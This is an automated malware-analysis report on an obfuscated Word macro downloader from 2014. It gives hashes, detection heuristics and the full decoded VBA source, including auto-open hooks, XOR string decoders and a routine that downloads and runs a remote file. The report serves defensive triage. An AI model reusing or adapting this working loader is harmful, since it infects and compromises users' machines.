Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b988ba06d6898fda…

MALICIOUS

Office (OLE)

44.5 KB Created: 2014-12-08 21:01:00 Authoring application: Microsoft Office Word First seen: 2015-01-04
MD5: 627de756499c17062a994351cc6388bd SHA-1: d9e5d2c15a0ea603986b9228e615e26f0c032f92 SHA-256: b988ba06d6898fda8b4513be69fd7a2a4f6fe2354ce8e89bfc0db1a25c5b34fe
274 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1140 Deobfuscate/Decode Files or Information T1204.002 Malicious File: User Execution

The sample is a malicious Office document containing obfuscated VBA macros. Heuristics indicate an auto-exec loader that uses CreateObject and execution sinks, suggesting it's designed to download and run a secondary payload. The VBA code itself is heavily obfuscated, making specific payload details difficult to ascertain, but the overall intent is clear.

Heuristics 11

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set VPBCRFOQENN = CreateObject(XORI(Hextostring("3F34193F254049193F253A331522"), Hextostring("7267417269")))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set VPBCRFOQENN = CreateObject(XORI(Hextostring("3F34193F254049193F253A331522"), Hextostring("7267417269")))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    hBBkbmop6VHJL.Open Environ(XORI(Hextostring("3C3F3A03"), Hextostring("687A7753"))) & XORI(Hextostring("1217092B0F0718371F1F133560362807"), Hextostring("4E535062"))
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12395 bytes
SHA-256: a85655e4e4d1e1a9a2feea868f6249aa967f395f49eb2b3586449861aecd3dd2
Detection
ClamAV: No threats found
Obfuscation or payload: likely
97 of 144 identifiers look randomly generated (e.g. 'gwjszpofcnutwsbxmljtbuzrblemslyuiwjsilpk') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public Function Hextostring(ByVal LIfBaRNaq As String) As String
Dim bOYvqTVCQck As String
Dim FNOMR As String
Dim wDhutJNQ As Long
For wDhutJNQ = 1 To Len(LIfBaRNaq) Step 2
If 128918 = 128918 + 1 Then End
If 3786 < 26 Then
If 751819 = 751819 + 1 Then End
If 3264 < 68 Then
        MsgBox ("uQQmbkpk91")
End If
If Len("gCUNhpmZ4478") = Len("AfkPTCKQ") Then
       MsgBox ("Error !!!")
End If
        MsgBox ("HplLmocL88")

End If
If Len("gnJhlPff4992") = Len("izYUCJCG") Then
If 453232 = 453232 + 1 Then End
If 2346 < 12 Then
        MsgBox ("tZGiCmps23")
End If
If Len("prksphdB3552") = Len("eRyRFxWn") Then
       MsgBox ("Error !!!")
End If
       MsgBox ("Error !!!")

End If
If 513385 = 513385 + 1 Then End
If 1788 < 34 Then
        MsgBox ("MdLJUEle65")
End If
If Len("zvFxcxRf2893") = Len("gGbyDpzx") Then
       MsgBox ("Error !!!")
End If
bOYvqTVCQck = Chr$(Val(Chr$(38) & Chr$(72) & Mid$(LIfBaRNaq, wDhutJNQ, 2)))


If 679582 = 679582 + 1 Then End
If 4764 < 49 Then
If 988195 = 988195 + 1 Then End
If 5892 < 13 Then
        MsgBox ("PLjzMDno76")
End If
If Len("opFcKgjZ3694") = Len("zQEGxwNt") Then
       MsgBox ("Error !!!")
End If
        MsgBox ("CLZiRzih72")

End If
If Len("ttcDmMln2566") = Len("kwoxPUHO") Then
If 768811 = 768811 + 1 Then End
If 3344 < 68 Then
        MsgBox ("LlhuNOmN91")
End If
If Len("aTqSHATq1946") = Len("AjrSPany") Then
       MsgBox ("Error !!!")
End If
       MsgBox ("Error !!!")

End If
If 312727 = 312727 + 1 Then End
If 7138 < 44 Then
        MsgBox ("fwJBAgAh17")
End If
If Len("vkytXtMV8243") = Len("kLWxnsEn") Then
       MsgBox ("Error !!!")
End If
FNOMR = FNOMR & bOYvqTVCQck


Next wDhutJNQ
If 729678 = 729678 + 1 Then End
If 3216 < 86 Then
If 794514 = 794514 + 1 Then End
If 3692 < 52 Then
        MsgBox ("rtzipwlx84")
End If
If Len("sjCDNfRU3716") = Len("vUIxhzzH") Then
       MsgBox ("Error !!!")
End If
        MsgBox ("bocnPvMm58")

End If
If Len("CbWCINQG1818") = Len("JaPgdumj") Then
If 749461 = 749461 + 1 Then End
If 6217 < 59 Then
        MsgBox ("clnhRiWt51")
End If
If Len("ZWzmHeVK6323") = Len("wxJSwpUl") Then
       MsgBox ("Error !!!")
End If
       MsgBox ("Error !!!")

End If
If 175442 = 175442 + 1 Then End
If 6491 < 99 Then
        MsgBox ("cLrzZuDD22")
End If
If Len("TtBUlBVV7515") = Len("JwOkIDwu") Then
       MsgBox ("Error !!!")
End If
Hextostring = FNOMR


End Function


Sub Auto_Open()
GoTo hpolxosipwleovqydqiijfmpmhadwhkijvlbokhmrnhlwrcbihvyiwnplgjfltwjtypwmbprbpunfrtvrl:
hpolxosipwleovqydqiijfmpmhadwhkijvlbokhmrnhlwrcbihvyiwnplgjfltwjtypwmbprbpunfrtvrl:
GoTo bfvcjnnjkjkvxctrntfoimlrjeyrtcbdbkdaxpratpwmmiosffuwjoxzowxecewxwdoypivotfbjbuxmul:
bfvcjnnjkjkvxctrntfoimlrjeyrtcbdbkdaxpratpwmmiosffuwjoxzowxecewxwdoypivotfbjbuxmul:
GoTo rkckdqbljfjtdbrryuwatebpsacldejdsschjsuavrcbpilzgevpmjxvcmfuzhozfprtuwyfedvshsetyf:
rkckdqbljfjtdbrryuwatebpsacldejdsschjsuavrcbpilzgevpmjxvcmfuzhozfprtuwyfedvshsetyf:
IOWZJGNTSGK
End Sub
Sub AutoOpen()
GoTo zgjksfckvjbfupbfpqerjkfbyvhphicghmdzwyshljawbwgybalblihqmatttqiaxprnmitiumgzjglrmt:
zgjksfckvjbfupbfpqerjkfbyvhphicghmdzwyshljawbwgybalblihqmatttqiaxprnmitiumgzjglrmt:
GoTo ntkwgbazodnxlmngkssfvjdwvczwjxotblvzzropmwqzxlujflzjpazteectmrbvtqnnnqobmcyydrssnb:
ntkwgbazodnxlmngkssfvjdwvczwjxotblvzzropmwqzxlujflzjpazteectmrbvtqnnnqobmcyydrssnb:
GoTo ocgfmhrsimdpiyclijxwpjopjtlwjtopoyithnuojbvcaauwaavscrmxsabgqvemffbcddzhhdsvmnjfcp:
ocgfmhrsimdpiyclijxwpjopjtlwjtopoyithnuojbvcaauwaavscrmxsabgqvemffbcddzhhdsvmnjfcp:
    Auto_Open
End Sub
Sub Workbook_Open()
GoTo fqugoppeeftaopjzsjmupsrtovfxedfgpecorppweusztfkzphwpfhofwhixfaghbmfkdwnsycrsvjrtly:
fqugoppeeftaopjzsjmupsrtovfxedfgpecorppweusztfkzphwpfhofwhixfaghbmfkdwnsycrsvjrtly:
GoTo heqkginwiaibyfsvwvqtxuitugennjoangyodyfcqziwybtnwvwtibwqomzimszrrprdgguukjywhbuygx:
heqkginwiaibyfsvwvqtxuitugennjoangyodyfcqziwybtnwvwtibwqomzimszrrprdgguukjywhbuygx:
GoTo psjngffkwvmdllnhrcbfqiugmqunvyccxewbrxqhmlfswjoulnrvcmkxsetiqqriaihnzvtulingjhehnf:
psjngffkwvmdllnhrcbfqiugmqunvyccxewbrxqhmlfswjoulnrvcmkxsetiqqriaihnzvtulingjhehnf:
    Auto_Open
End Sub
Function ZUWSBYDOTWV(ByVal FYAMZFQXNVI As String, ByVal CVUDEDVJFST As String) As Boolean
     Dim VPBCRFOQENN As Object, LSFYHUDVCYR As Long, QSBXXUZTKRD As Long, MDLLXOKIXRV() As Byte

GoTo hjwiwiyeojxvawsanclcahyfrfgwjdikfsfnjazxovvouiysjoieyyyjvczcudqpbumdziyyzydjhmvmdd:
hjwiwiyeojxvawsanclcahyfrfgwjdikfsfnjazxovvouiysjoieyyyjvczcudqpbumdziyyzydjhmvmdd:
GoTo xwqdjsttofxtkraaybygbodqkprjcpmjlvvdoqvxaokuluhzjnnpkgyqmwfmtvooihxsiqkaoyssrerysn:
xwqdjsttofxtkraaybygbodqkprjcpmjlvvdoqvxaokuluhzjnnpkgyqmwfmtvooihxsiqkaoyssrerysn:
GoTo brfgzmzrcabwgbcfbtnfmhjqhazwlbtduyyfkhjhmcvjlqrnnuntxcjijgjcqvhnjmfvpgmywngwcdiybg:
brfgzmzrcabwgbcfbtnfmhjqhazwlbtduyyfkhjhmcvjlqrnnuntxcjijgjcqvhnjmfvpgmywngwcdiybg:
    Set VPBCRFOQENN = CreateObject(XORI(Hextostring("3F34193F254049193F253A331522"), Hextostring("7267417269")))
GoTo fpvygztoabfyscyqmjxaakqwiwqpjfzgwplzmhryvptavvsitizcoqgammdhoraqpviudbameizhxxkfiw:
fpvygztoabfyscyqmjxaakqwiwqpjfzgwplzmhryvptavvsitizcoqgammdhoraqpviudbameizhxxkfiw:
GoTo fjuvxpaemzuawljcczrjcqncfqtadadckbfxynawdigwsmxxfdtoiyzyriibnsacdbvkbubskrjrvkujkg:
fjuvxpaemzuawljcczrjcqncfqtadadckbfxynawdigwsmxxfdtoiyzyriibnsacdbvkbubskrjrvkujkg:
GoTo atdgxcypqufobazqwfbzsdpphuexwbgmzrvveuqfuissqnqrjbvmoathximeitkzlsazxqlwrbwkegkczc:
atdgxcypqufobazqwfbzsdpphuexwbgmzrvveuqfuissqnqrjbvmoathximeitkzlsazxqlwrbwkegkczc:
    VPBCRFOQENN.Open XORI(Hextostring("00353B"), Hextostring("47706F634E")), FYAMZFQXNVI, False
GoTo epeseeevnrzyaadmzsevtcsqluqvolrmjnixrzskpndwmoroasnxrummjcspjhcnelodnfpcezpisjevfv:
epeseeevnrzyaadmzsevtcsqluqvolrmjnixrzskpndwmoroasnxrummjcspjhcnelodnfpcezpisjevfv:
GoTo maokmvxjtqtpftqzvdrnngwsapudlcejlbqkuatexahbsfmqoicfoaivfabrltukeprqqvrfpvrejlgeqv:
maokmvxjtqtpftqzvdrnngwsapudlcejlbqkuatexahbsfmqoicfoaivfabrltukeprqqvrfpvrejlgeqv:
GoTo sjxdhcerkhefckeipoiiuyqtxyvinbyqezfovvlmrerfrqsyaywnotmvfernkainkhxraujtcwwztuqtrk:
sjxdhcerkhefckeipoiiuyqtxyvinbyqezfovvlmrerfrqsyaywnotmvfernkainkhxraujtcwwztuqtrk:
    VPBCRFOQENN.Send XORI(Hextostring("2B0F25162232"), Hextostring("4C596D54"))


GoTo gvmsrorblqfnrjolulwwxmxgvzmrtfbbfaljljudjhbbxnovjreufhyrdxpzrsvoxlooybzlkvwnadubpr:
gvmsrorblqfnrjolulwwxmxgvzmrtfbbfaljljudjhbbxnovjreufhyrdxpzrsvoxlooybzlkvwnadubpr:
GoTo vkgymmqtvhsqigckerbehvgndmtviptwxefqeovgkmdywdtsxwgeztwteajsmnvgovickubtbjojchvavr:
vkgymmqtvhsqigckerbehvgndmtviptwxefqeovgkmdywdtsxwgeztwteajsmnvgovickubtbjojchvavr:
GoTo eefacwluvdsabkxksygzskpgnyxphqvqmjvybamguztrddgzxprzrdeiyiuhbpgfwrexfqimxjosfotycl:
eefacwluvdsabkxksygzskpgnyxphqvqmjvybamguztrddgzxprzrdeiyiuhbpgfwrexfqimxjosfotycl:
    MDLLXOKIXRV = VPBCRFOQENN.responseBody

GoTo oyvsqgqcyuwgtctubxrljpltcezjxtssqvblihttgpkbfekrxowacmwewceoaqxhdlotlqoquuaksqlcth:
oyvsqgqcyuwgtctubxrljpltcezjxtssqvblihttgpkbfekrxowacmwewceoaqxhdlotlqoquuaksqlcth:
GoTo dzhmmxhnfrasicvjjpseprigmeolanldvlihpwgoksljzgwoycrcitvhcaybislwhylvedsxyelioervvj:
dzhmmxhnfrasicvjjpseprigmeolanldvlihpwgoksljzgwoycrcitvhcaybislwhylvedsxyelioervvj:
GoTo isegyhulplxjpkfaqzstfxaboybyprklnkwzxoixqdexvibqjqqfvntdpjwopldzhmffbvvdvydebthefj:
isegyhulplxjpkfaqzstfxaboybyprklnkwzxoixqdexvibqjqqfvntdpjwopldzhmffbvvdvydebthefj:
    QSBXXUZTKRD = FreeFile
    Open CVUDEDVJFST For Binary As #QSBXXUZTKRD
    Put #QSBXXUZTKRD, , MDLLXOKIXRV
    Close #QSBXXUZTKRD
GoTo vdpicaomrghrizweyaaozmrwyiyrubxpytxwqedttfneypyxmwzolrkvrghzhcpvdovereglnjrdohqryu:
vdpicaomrghrizweyaaozmrwyiyrubxpytxwqedttfneypyxmwzolrkvrghzhcpvdovereglnjrdohqryu:
GoTo ngtplnbnislqtghybuwictiwrbvoddltxhtemlrbrltdyrcmoszexgadznluscjfpehkuhcvoouwavrtwv:
ngtplnbnislqtghybuwictiwrbvoddltxhtemlrbrltdyrcmoszexgadznluscjfpehkuhcvoouwavrtwv:
GoTo gwjszpofcnutwsbxmljtbuzrblemslyuiwjsilpkqhgvdmwohdyzopbtepgmqesyglpmmnbkpqghntgsfd:
gwjszpofcnutwsbxmljtbuzrblemslyuiwjsilpkqhgvdmwohdyzopbtepgmqesyglpmmnbkpqghntgsfd:
    
GoTo byxsxnpghvnbvkrgcuhsgztkersubfntrrmtrcjdbemqbhuvetdyllrakpcaukdktlpyupnzytvynwldzz:
byxsxnpghvnbvkrgcuhsgztkersubfntrrmtrcjdbemqbhuvetdyllrakpcaukdktlpyupnzytvynwldzz:
GoTo cckqxskeypruwnmoemiyeejgtzmqhaaonszuqrucwwvahggyylevwcjiupfyjzqhzrvsrrqfpbsqtkaohq:
cckqxskeypruwnmoemiyeejgtzmqhaaonszuqrucwwvahggyylevwcjiupfyjzqhzrvsrrqfpbsqtkaohq:
GoTo rwxumqulzygtqkrwzfbqwfewutedetjeriydgckahepjhxcpztzzrnpepyfrngvfbxztxgufoefihmlxut:
rwxumqulzygtqkrwzfbqwfewutedetjeriydgckahepjhxcpztzzrnpepyfrngvfbxztxgufoefihmlxut:
Set hBBkbmop6VHJL = CreateObject(XORI(Hextostring("020A271C3D4C0300210E2B1330162B1F3F"), Hextostring("51624270")))
GoTo zlbrmdtmprviueydvnhzltntlvfofmkntrjatbzfuxavnqxeasqawcqlnddunpozvflosmyvmvfrlwvkcw:
zlbrmdtmprviueydvnhzltntlvfofmkntrjatbzfuxavnqxeasqawcqlnddunpozvflosmyvmvfrlwvkcw:
GoTo cymkgaghrqzskhomptqembbmdowhzswsilmqxztokhksqucilnmcqlplntosnjpwpiizppkjdeaxupsqbc:
cymkgaghrqzskhomptqembbmdowhzswsilmqxztokhksqucilnmcqlplntosnjpwpiizppkjdeaxupsqbc:
GoTo sbawlclojhxparpakhmfucvtwinbxhjqqozqdofgmqiejtkkykqfzphrenmsqwmjekdxoeetrjwuemxnbh:
sbawlclojhxparpakhmfucvtwinbxhjqqozqdofgmqiejtkkykqfzphrenmsqwmjekdxoeetrjwuemxnbh:
hBBkbmop6VHJL.Open Environ(XORI(Hextostring("3C3F3A03"), Hextostring("687A7753"))) & XORI(Hextostring("1217092B0F0718371F1F133560362807"), Hextostring("4E535062"))
GoTo zhbgddcmjsnilsugiepwecwcxltbxbjufbtgufsdjvftrhkrentmbfezatdpzztqsssichtcptvblraaxs:
zhbgddcmjsnilsugiepwecwcxltbxbjufbtgufsdjvftrhkrentmbfezatdpzztqsssichtcptvblraaxs:
GoTo iipgxjxthbjxifqrzxbojqmgpfqahonaeikufzxmtdozgioggaekervfdgvbuzkoumgelbasjdvpcmzutc:
iipgxjxthbjxifqrzxbojqmgpfqahonaeikufzxmtdozgioggaekervfdgvbuzkoumgelbasjdvpcmzutc:
GoTo zygtufihxcugogvxuetvxslpzbpcunbycgmjdickpmuxxndqhwvswlbiulydkhltbnyncpizuqgsjmcidn:
zygtufihxcugogvxuetvxslpzbpcunbycgmjdickpmuxxndqhwvswlbiulydkhltbnyncpizuqgsjmcidn:
     
End Function
Sub IOWZJGNTSGK()
gGHBkj = XORI(Hextostring("3919123F427E4208200C301505261F7F0E0922573B1E492D113F4303371D"), Hextostring("516D664F78"))

GoTo vswgmmnoquqmdzdukyxjdchijuhbcdgxsbrnikwqdcfhiwhzbjaoqluoidzajkwvumggfhftcrnozygzlx:
vswgmmnoquqmdzdukyxjdchijuhbcdgxsbrnikwqdcfhiwhzbjaoqluoidzajkwvumggfhftcrnozygzlx:
GoTo eqowyelsbrffhhlqqucltfylnpeftufafvjrzyvtgvjpzvpeyxbayzjytlyclyghuqmwumbcduprmiblyx:
eqowyelsbrffhhlqqucltfylnpeftufafvjrzyvtgvjpzvpeyxbayzjytlyclyghuqmwumbcduprmiblyx:
GoTo ruzhzqmkplaybaejhgnsgttcpypofokfkpmcawosbktnfsxibprcykuytpgkldhvrbktjpihhfuxhbdqoh:
ruzhzqmkplaybaejhgnsgttcpypofokfkpmcawosbktnfsxibprcykuytpgkldhvrbktjpihhfuxhbdqoh:
    ZUWSBYDOTWV gGHBkj, Environ(XORI(Hextostring("3E200501"), Hextostring("6A654851714A64"))) & XORI(Hextostring("11371B0A00123918220E001668143516"), Hextostring("4D734243414671"))
End Sub

Public Function XORI(ByVal pThgwA As String, ByVal uTjbLtvPsxK As String) As String
Dim qDrdEbaBjAmrQrC As Long
If 197974 = 197974 + 1 Then End
If 5669 < 12 Then

Dim rrsqtvVn As Integer
rrsqtvVn = 1
Do While rrsqtvVn < 83
DoEvents: rrsqtvVn = rrsqtvVn + 1
Loop

        MsgBox ("vBNHchZL92")
End If
If Len("GoACvBKz6529") = Len("jDtqUckI") Then

Dim ZsaeMBSl As Integer
ZsaeMBSl = 6
Do While ZsaeMBSl < 96
DoEvents: ZsaeMBSl = ZsaeMBSl + 1
Loop

       MsgBox ("Error !!!")
End If

Dim llWAooaJ As Integer
llWAooaJ = 4
Do While llWAooaJ < 77
DoEvents: llWAooaJ = llWAooaJ + 1
Loop

For qDrdEbaBjAmrQrC = 1 To Len(pThgwA)

If 953497 = 953497 + 1 Then End
If 6383 < 67 Then

Dim tMzCjwqZ As Integer
tMzCjwqZ = 2
Do While tMzCjwqZ < 53
DoEvents: tMzCjwqZ = tMzCjwqZ + 1
Loop

        MsgBox ("IlZTqywD49")
End If
If Len("CLQsIKEv7233") = Len("JspJACJS") Then

Dim HUocoJtv As Integer
HUocoJtv = 8
Do While HUocoJtv < 68
DoEvents: HUocoJtv = HUocoJtv + 1
Loop

       MsgBox ("Error !!!")
End If

Dim qqtGMmtg As Integer
qqtGMmtg = 3
Do While qqtGMmtg < 94
DoEvents: qqtGMmtg = qqtGMmtg + 1
Loop

XORI = XORI & Chr(Asc(Mid(uTjbLtvPsxK, IIf(qDrdEbaBjAmrQrC Mod Len(uTjbLtvPsxK) <> 0, qDrdEbaBjAmrQrC Mod Len(uTjbLtvPsxK), Len(uTjbLtvPsxK)), 1)) Xor Asc(Mid(pThgwA, qDrdEbaBjAmrQrC, 1)))

Next qDrdEbaBjAmrQrC
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.